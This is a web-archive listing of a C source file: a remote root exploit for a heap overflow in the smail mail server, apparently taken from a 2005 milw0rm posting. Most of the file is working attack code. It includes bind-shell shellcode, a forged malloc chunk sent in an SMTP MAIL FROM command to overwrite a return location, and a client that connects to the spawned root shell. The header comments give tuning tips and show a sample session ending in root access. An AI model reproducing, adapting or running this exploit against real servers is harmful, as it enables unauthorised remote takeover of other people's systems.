home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / mail / smail / smail-3.2.0.120.c < prev   
C/C++ Source or Header  |  2005-03-30  |  10KB  |  354 lines

  1. /*
  2.  * 
  3.  * 0
  4.  *
  5.  * smail preparse_address_1() heap bof remote root exploit
  6.  *
  7.  * infamous42md AT hotpop DOT com
  8.  *
  9.  * Shouts:
  10.  *
  11.  * BMF, wipe with the left, eat with the right
  12.  *
  13.  * Notes:
  14.  *
  15.  * You can't have any characters in overflow buffer that isspace() returns true
  16.  * for.  The shellcode is clear of them, but if your return address or retloc
  17.  * has one you gotta figure out another one.  My slack box has that situation,
  18.  * heap is at 0x080d.. My gentoo laptop had no such problem and all was fine.  I
  19.  * don't have anymore time to BS around with this and make perfect for any and
  20.  * all, b/c I've got exam to study for and Law and Order:CI is on in an hour.
  21.  * If the heap you're targetting is the same way, then try filling it up using
  22.  * some other commands.  If the GOT you're targetting is at such address than
  23.  * overwrite a return address on the stack.  Surely there's a way, check out the
  24.  * source and be creative; I'm sure there are some memory leaks somewhere you
  25.  * can use to fill up heap as well.
  26.  *
  27.  * You might run into some ugliness trying to automate this for a couple
  28.  * reasons.  xmalloc() stores a cookie in front of buffer, and xfree() checks
  29.  * for this cookie before calling free().  So you're going to need that aligned
  30.  * properly unless you can cook up a way to exploit it when it bails out in
  31.  * xfree() b/c of bad cookie and calls write_log() (this func calls malloc() so
  32.  * maybe you can be clever and do something there). Furthermore I found that
  33.  * when trying to trigger this multiple times the alignment was different each
  34.  * time.  There are "definitely" more reliable ways to exploit this if you take
  35.  * a deeper look into code which I don't have time to do right now.  The padding
  36.  * parameter controls the alignment and the size of the chunk being allocated.
  37.  * You'll probably have to play with it.  Yes that's fugly.
  38.  *
  39.  * [n00b@crapbox.outernet] ./a.out 
  40.  * Usage: ./a.out < host > < padding > < retloc > < retaddr >
  41.  *
  42.  * [n00b@crapbox.outernet] ./a.out localhost 64 0xbffff39c 0x8111ea0
  43.  * --{ Smack 1.oohaah
  44.  *
  45.  * --{ definitely, adv.:
  46.  * --{ 1. Having distinct limits
  47.  * --{ 2. Indisputable; certain
  48.  * --{ 3. Clearly defined; explicitly precise
  49.  *
  50.  * --{ Said HELO
  51.  *
  52.  * --{ Sent MAIL FROM overflow
  53.  *
  54.  * --{ Going for shell in 15 14 13 12 11 10 9 8 7 6 5 4 3 2 1 
  55.  *
  56.  * --{ Attempting to redefine the meaning of 'definitely'
  57.  *
  58.  * --{ Got a shell
  59.  *
  60.  * --{ Updating Webster's
  61.  * --{ definitely, adv.:
  62.  * --{ 1. See specious
  63.  *
  64.  * --{ For the linguistically challenged...
  65.  * --{ specious, adj. :
  66.  * --{ 1. Having the ring of truth or plausibility but actually fallacious
  67.  * --{ 2. Deceptively attractive
  68.  *
  69.  * id
  70.  * uid=0(root) gid=0(root)
  71.  * echo PWNED  
  72.  * PWNED
  73.  *
  74.  *  - Connection closed by user
  75.  *
  76.  */
  77.  
  78. #include <stdio.h>
  79. #include <ctype.h>
  80. #include <sys/types.h>
  81. #include <string.h>
  82. #include <stdint.h>
  83. #include <unistd.h>
  84. #include <sys/socket.h>
  85. #include <netdb.h>
  86. #include <stdlib.h>
  87. #include <fcntl.h>
  88. #include <sys/select.h>
  89. #include <arpa/inet.h>
  90.  
  91.  
  92. /* */
  93. #define BS 0x1000
  94. #define SMTP_PORT 25
  95.  
  96.  
  97. #define Z(x, len) memset((x), 0, (len))
  98. #define die(x) do{ perror((x)); exit(EXIT_FAILURE); }while(0)
  99. #define bye(fmt, args...) do{ fprintf(stderr, fmt"\n", ##args); exit(EXIT_FAILURE); }while(0)
  100.  
  101.  
  102. /* fat bloated call them shell code */
  103. #define SHELL_LEN (sizeof(sc)-1)
  104. #define SHELL_PORT 6969
  105. #define NOP 0x90
  106. char sc[] = 
  107. "\xeb\x0e""notexploitable"
  108. "\x31\xc0\x50\x50\x66\xc7\x44\x24\x02\x1b\x39\xc6\x04\x24\x02\x89\xe6\xb0\x02"
  109. "\xcd\x80\x85\xc0\x74\x08\x31\xc0\x31\xdb\xb0\x01\xcd\x80\x50\x6a\x01\x6a\x02"
  110. "\x89\xe1\x31\xdb\xb0\x66\xb3\x01\xcd\x80\x89\xc5\x6a\x10\x56\x50\x89\xe1\xb0"
  111. "\x66\xb3\x02\xcd\x80\x6a\x01\x55\x89\xe1\x31\xc0\x31\xdb\xb0\x66\xb3\x04\xcd"
  112. "\x80\x31\xc0\x50\x50\x55\x89\xe1\xb0\x66\xb3\x05\xcd\x80\x89\xc5\x31\xc0\x89"
  113. "\xeb\x31\xc9\xb0\x3f\xcd\x80\x41\x80\xf9\x03\x7c\xf6\x31\xc0\x50\x68\x2f\x2f"
  114. "\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x6b\x2c\x60\xcd"
  115. "\x80";
  116.  
  117.  
  118. /*  a dlmalloc chunk descriptor */
  119. #define CHUNKSZ 0xfffffff8
  120. #define CHUNKLEN sizeof(mchunk_t)
  121. typedef struct _mchunk {
  122.     size_t  dummy;
  123.     size_t  prevsz;
  124.     size_t  sz;
  125.     long    fd;
  126.     long    bk;
  127. } mchunk_t;
  128.  
  129. /* */
  130. ssize_t Send(int s, const void *buf, size_t len, int flags)
  131. {
  132.     ssize_t n;
  133.  
  134.     n = send(s, buf, len, flags);
  135.     if(n < 0)
  136.         die("send");
  137.  
  138.     return n;
  139. }
  140.  
  141. /* */
  142. ssize_t Recv(int s, void *buf, size_t len, int flags)
  143. {
  144.     ssize_t n;
  145.  
  146.     n = recv(s, buf, len, flags);
  147.     if(n < 0)
  148.         die("recv");
  149.  
  150.     return n;
  151. }
  152.  
  153. /* */
  154. int conn(char *host, u_short port)
  155. {
  156.     int sock = 0;
  157.     struct hostent *hp;
  158.     struct sockaddr_in sa;
  159.  
  160.     memset(&sa, 0, sizeof(sa));
  161.  
  162.     hp = gethostbyname(host);
  163.     if (hp == NULL) {
  164.         bye("gethostbyname failed with error %s", hstrerror(h_errno));
  165.     }
  166.     sa.sin_family = AF_INET;
  167.     sa.sin_port = htons(port);
  168.     sa.sin_addr = **((struct in_addr **) hp->h_addr_list);
  169.  
  170.     sock = socket(AF_INET, SOCK_STREAM, 0);
  171.     if (sock < 0)
  172.         die("socket");
  173.  
  174.     if (connect(sock, (struct sockaddr *) &sa, sizeof(sa)) < 0)
  175.         die("connect");
  176.  
  177.     return sock;
  178. }
  179.  
  180. /* */
  181. void shell(char *host, u_short port)
  182. {
  183.     int sock = 0, l = 0;
  184.     char buf[BS];
  185.     fd_set rfds;
  186.  
  187.     sock = conn(host, port);
  188.  
  189.     printf("--{ Got a shell\n\n"
  190.            "--{ Updating Webster's\n"
  191.            "--{ definitely, adv.:\n"
  192.            "--{ 1. See specious\n\n"
  193.            "--{ For the linguistically challenged...\n"
  194.            "--{ specious, adj. :\n"
  195.            "--{ 1. Having the ring of truth or plausibility but "
  196.            "actually fallacious\n"
  197.            "--{ 2. Deceptively attractive\n\n"
  198.           );
  199.  
  200.     FD_ZERO(&rfds);
  201.  
  202.     while (1) {
  203.         FD_SET(STDIN_FILENO, &rfds);
  204.         FD_SET(sock, &rfds);
  205.  
  206.         if (select(sock + 1, &rfds, NULL, NULL, NULL) < 1)
  207.             die("select");
  208.  
  209.         if (FD_ISSET(STDIN_FILENO, &rfds)) {
  210.             l = read(0, buf, BS);
  211.             if(l < 0)
  212.                 die("read");
  213.             else if(l == 0)
  214.                 bye("\n - Connection closed by user\n");
  215.  
  216.             if (write(sock, buf, l) < 1)
  217.                 die("write");
  218.         }
  219.  
  220.         if (FD_ISSET(sock, &rfds)) {
  221.             l = read(sock, buf, sizeof(buf));
  222.  
  223.             if (l == 0)
  224.                 bye("\n - Connection terminated.\n");
  225.             else if (l < 0)
  226.                 die("\n - Read failure\n");
  227.  
  228.             if (write(STDOUT_FILENO, buf, l) < 1)
  229.                 die("write");
  230.         }
  231.     }
  232. }
  233.  
  234. /* */
  235. int parse_args(int argc, char **argv, char **host, int *npad,
  236.                     u_int *retloc, u_int *retaddr)
  237. {
  238.     if(argc < 5)
  239.         return 1;
  240.  
  241.     *host = argv[1];
  242.         
  243.     if(sscanf(argv[2], "%d", npad) != 1)
  244.         return 1;
  245.  
  246.     if(sscanf(argv[3], "%x", retloc) != 1)
  247.         return 1;
  248.  
  249.     if(sscanf(argv[4], "%x", retaddr) != 1)
  250.         return 1;
  251.  
  252.     return 0;
  253. }
  254.  
  255. /* */
  256. void sploit(int sock, int npad, u_int retloc, u_int retaddr)
  257. {
  258.     ssize_t n = 0;
  259.     u_char  buf[BS],    pad[BS],    evil[BS];
  260.     mchunk_t    chunk;
  261.  
  262.     Z(buf, BS), Z(pad, BS), Z(evil, BS),    Z(&chunk, CHUNKLEN);
  263.  
  264.     /* read greeting */
  265.     n = Recv(sock, buf, BS, 0);
  266.     if(n == 0)
  267.         bye("Server didn't even say hi");
  268.  
  269.     /* send HELO */
  270.     n = snprintf(buf, BS, "HELO localhost\r\n");
  271.     Send(sock, buf, n, 0);
  272.     Z(buf, BS);
  273.     n = Recv(sock, buf, BS, 0);
  274.     if(n == 0)
  275.         bye("Server didn't respond to HELO");
  276.  
  277.     printf("--{ Said HELO\n\n");
  278.  
  279.     /*
  280.      * Build evil chunk overflow.  The need to align chunk exactly makes this
  281.      * not so robust.  In my short testing I wasn't able to get free() called
  282.      * directly on an area of memory we control.  I'm sure you can though if you
  283.      * take some time to study process heap behavior.  Note though that you'll
  284.      * have to fill in the magic cookie field that xmalloc()/xfree() and some
  285.      * other functions use, so you'll still need to have it aligned properly
  286.      * which defeats the whole purpose.  This exploits the free() call on the
  287.      * buffer we overflow, so you have to align the next chunk accordingly.
  288.      * Anyhow on newest glibc there is a check for negative size field on the
  289.      * chunk being freed, and program dies if it is negative (the exact
  290.      * condition is not negative, but it has that effect pretty much, but go
  291.      * look yourself ;)), So the techniques outlined by gera in phrack don't
  292.      * work (being able to point all chunks at our two evil chunks).  Check out
  293.      * most recent glibc code in _int_free() if you haven't already.
  294.      */
  295.     memset(pad, 'A', npad);
  296.  
  297.     chunk.dummy = CHUNKSZ;
  298.     chunk.prevsz = CHUNKSZ;
  299.     chunk.sz = CHUNKSZ;
  300.     chunk.fd = retloc - 12;
  301.     chunk.bk = retaddr;
  302.     memcpy(evil, &chunk, CHUNKLEN);
  303.     evil[CHUNKLEN] = 0;
  304.  
  305.     /* send the overflow */
  306.     n = snprintf(buf, BS, "MAIL FROM:<A!@A:%s> %s%s\n", pad, evil, sc);
  307.     Send(sock, buf, n, 0);
  308.     Z(buf, BS);
  309.  
  310.     printf("--{ Sent MAIL FROM overflow\n\n");
  311.  
  312. #define SLEEP_TIME 15
  313.     setbuf(stdout, NULL);
  314.     printf("--{ Going for shell in ");
  315.     for(n = 0; n < SLEEP_TIME; n++){
  316.         printf("%d ", SLEEP_TIME-n);
  317.         sleep(1);
  318.     }
  319.     puts("\n");
  320. }
  321.  
  322.  
  323. /*
  324.  */
  325. int main(int argc, char **argv)
  326. {
  327.     int sock = 0,   npad = 0;
  328.     u_int   retloc  = 0,    retaddr = 0;
  329.     char    *host = NULL;
  330.  
  331.     if(parse_args(argc, argv, &host, &npad, &retloc, &retaddr))
  332.         bye("Usage: %s < host > < padding > < retloc > < retaddr >\n", argv[0]);
  333.  
  334.     printf("--{ Smack 1.oohaah\n\n");
  335.  
  336.     sock = conn(host, SMTP_PORT);
  337.  
  338.     printf("--{ definitely, adv.:\n"
  339.            "--{ 1. Having distinct limits\n"
  340.            "--{ 2. Indisputable; certain\n"
  341.            "--{ 3. Clearly defined; explicitly precise\n\n"
  342.           );
  343.  
  344.     sploit(sock, npad, retloc, retaddr);
  345.  
  346.     printf("--{ Attempting to redefine the meaning of 'definitely'\n\n");
  347.  
  348.     shell(host, SHELL_PORT);
  349.  
  350.     return EXIT_SUCCESS;
  351. }
  352.  
  353. // milw0rm.com [2005-03-28]
  354.